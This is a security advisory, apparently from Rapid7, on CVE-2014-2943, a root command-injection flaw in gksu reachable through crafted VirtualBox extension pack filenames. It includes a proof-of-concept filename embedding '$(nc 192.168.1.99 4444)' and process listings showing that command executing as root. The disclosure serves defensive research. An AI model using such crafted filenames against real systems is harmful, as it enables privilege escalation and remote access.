GKsu and VirtualBox Root Command Execution by Filename (CVE-2014-2943)

Last updated at Sat, 19 Aug 2017 03:32:53 GMT

Poisoning VirtualBox via Crafted Filenames

When I began researching this, I believed the vulnerability laid within Virtualbox, but I realized this was not true after a bit. The vulnerability being hit is actually within gksu itself. In fact, virtual box did everything right (sort of). I do take advantage of a weakness in the way they validate their extension packs, but the reason the vulnerability results in a root shell is because the vulnerability is hit after gksu escalates privs to root. You must install the extension pack via the helper app, so that means double clicking or opening from the graphical UI. This also works when reinstalling the same (but maliciously-renamed) extension pack.

Incidentally, this bug was already reported in the maintainer's bug tracker, but it seems unclear of the true, dangerous scope of the bug, when it comes to things like VirtualBox, various package manageres, et cetera.

Disclosure Timeline

Below is the timeline Brandon Perry and Rapid7 followed to disclose this issue.

Vulnerability Details

A linux system with KDE installed will likely not be vulnerable to this, as the code path to use gksu asks if kdesudo is installed before asking if gksu is installed. The logic that dictates this is within VBoxExtPackHelperApp.cpp around line 1429. Per the comment above the logic, this will likely be fixed for Virtualbox if it is rewritten to use PolicyKit.

In order to hit the vulnerability on a default Ubuntu install, you must change the ‘sudo-mode' key to be unchecked in the /apps/gksu schema in gconf which will make gksu require the ‘root' user's password as opposed to the current user's password since it will achieve privilege escalation using ‘su' and not ‘sudo'. On CentOS, for instance, this is not needed as this is default.

The vulnerability lies in the filename. At the time of writing, there is only one known VirtualBox extension pack. It is offered by Oracle on their website along with the virtual box installer. This adds proprietary functionality. It is called:

Oracle_VM_VirtualBox_Extension_Pack-4.3.4.vbox-extpack

When Virtualbox is opening this, it checks the filename against a stored value within the ext pack and ensures they match. If they do not, then virtual box bails. You can get around this, however, with a little bit of trickery.

Oracle_VM_VirtualBox_Extension_Pack-4.3.4.vbox-extpack.fdsa.vbox-extpack

By appending directly to the end, you can bypass the filename check. By appending an extra .vbox-extpack, an administrator can still double click the file and have the window manager open virtual box to install the extension pack.

In order to take advantage of the vulnerability in gksu, you can create a small test that connects back with a netcat session.

Oracle_VM_VirtualBox_Extension_Pack-4.3.4.vbox-extpack.$(nc 192.168.1.99 4444).vbox-extpack

By passing this to gksu, gksu will pass the payload to ‘gksu-run-helper' as an argument in “double” quotes. When gksu executes the gksu-run-helper command as root, the payload is evaluated within the double quotes (even though virtualbox single quoted them!).

Within the gksu_su_fuller function in libgksu.c ~line 1928, you will find gksu builds the string that it will be eventually running. ~line 1996 and 1997 looks like this:

1996      cmd[i] = g_strdup_printf ("%s \"%s\"", auxcommand,
1997        context->command); i++;

auxcommand is ‘gksu-run-helper' and context->command is the command that will be run in the context of the root user. You can see that it uses “double” quotes to encapsulate the command.

Here is a ps aux listing of what the execution progression is, note the increasing pids:

bperry    9708  0.0  0.4 106352  4272 ?        S    19:23  0:00 /usr/lib/virtualbox/VBoxExtPackHelperApp install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name Oracle VM VirtualBox Extension Pack --tarball /home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ext pack.$(nc 192.168.1.31 4444).vbox-extpack --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace
 
 
bperry    9710  1.6  1.0 186440 11100 ?        S    19:23  0:00 /usr/bin/gksu /usr/lib/virtualbox/VBoxExtPackHelperApp --stdout /tmp/VBoxExtPackHelper-qma0nm/stdout --stderr /tmp/VBoxExtPackHelper-qma0nm/stderr --elevated install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name 'Oracle VM VirtualBox Extension Pack' --tarball '/home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ex tpack.$(nc 192.168.1.31 4444).vbox-extpack' --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace
 
 
root      9715  0.0  0.1  59928  1780 pts/2    Ss+  19:23  0:00 /bin/su root -c /usr/lib/libgksu/gksu-run-helper "/usr/lib/virtualbox/VBoxExtPackHelperApp --stdout /tmp/VBoxExtPackHelper-qma0nm/stdout --stderr /tmp/VBoxExtPackHelper-qma0nm/stderr --elevated install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name 'Oracle VM VirtualBox Extension Pack' --tarball '/home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ex tpack.$(nc 192.168.1.31 4444).vbox-extpack' --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace"
 
 
root      9724  0.0  0.1  12380  1252 ?        Ss  19:24  0:00 bash -c /usr/lib/libgksu/gksu-run-helper "/usr/lib/virtualbox/VBoxExtPackHelperApp --stdout /tmp/VBoxExtPackHelper-qma0nm/stdout --stderr /tmp/VBoxExtPackHelper-qma0nm/stderr --elevated install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name 'Oracle VM VirtualBox Extension Pack' --tarball '/home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ex tpack.$(nc 192.168.1.31 4444).vbox-extpack' --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace"
 
 
root      9725  0.0  0.0  12380  672 ?        S    19:24  0:00 bash -c /usr/lib/libgksu/gksu-run-helper "/usr/lib/virtualbox/VBoxExtPackHelperApp --stdout /tmp/VBoxExtPackHelper-qma0nm/stdout --stderr /tmp/VBoxExtPackHelper-qma0nm/stderr --elevated install --base-dir /usr/lib/virtualbox/ExtensionPacks --cert-dir /usr/share/virtualbox/ExtPackCertificates --name 'Oracle VM VirtualBox Extension Pack' --tarball '/home/bperry/Downloads/Oracle_VM_VirtualBox_Extension_Pack-4.3.8-92456.vbox-ex tpack.$(nc 192.168.1.31 4444).vbox-extpack' --sha-256 eb364239fc399416af6c985b3082bfbdd206d42a60e7af98ffba13d60912b864 —replace"

The above output was taken while virtual box was frozen because I had not dropped the connection made between the vm and another machine(you can try this yourself). The last command run is the gksu-run-helper command with our command in “double” quotes. If you hit the vulnerability properly, the bash metacharacters will not appear in the final command ran, and virtual box will error out because the file it is looking for will not exist (unless the attacker can create it?).

This vulnerability could easily affect other applications that users must escalate privileges for to use (package managers come to mind). Using this method, attackers could craft special files that match MD5 sums, but that are actually quite malicious with bash metacharacters hidden in them that get parsed as root.

You may watch a short video detailing and demoing the vuln on YouTube: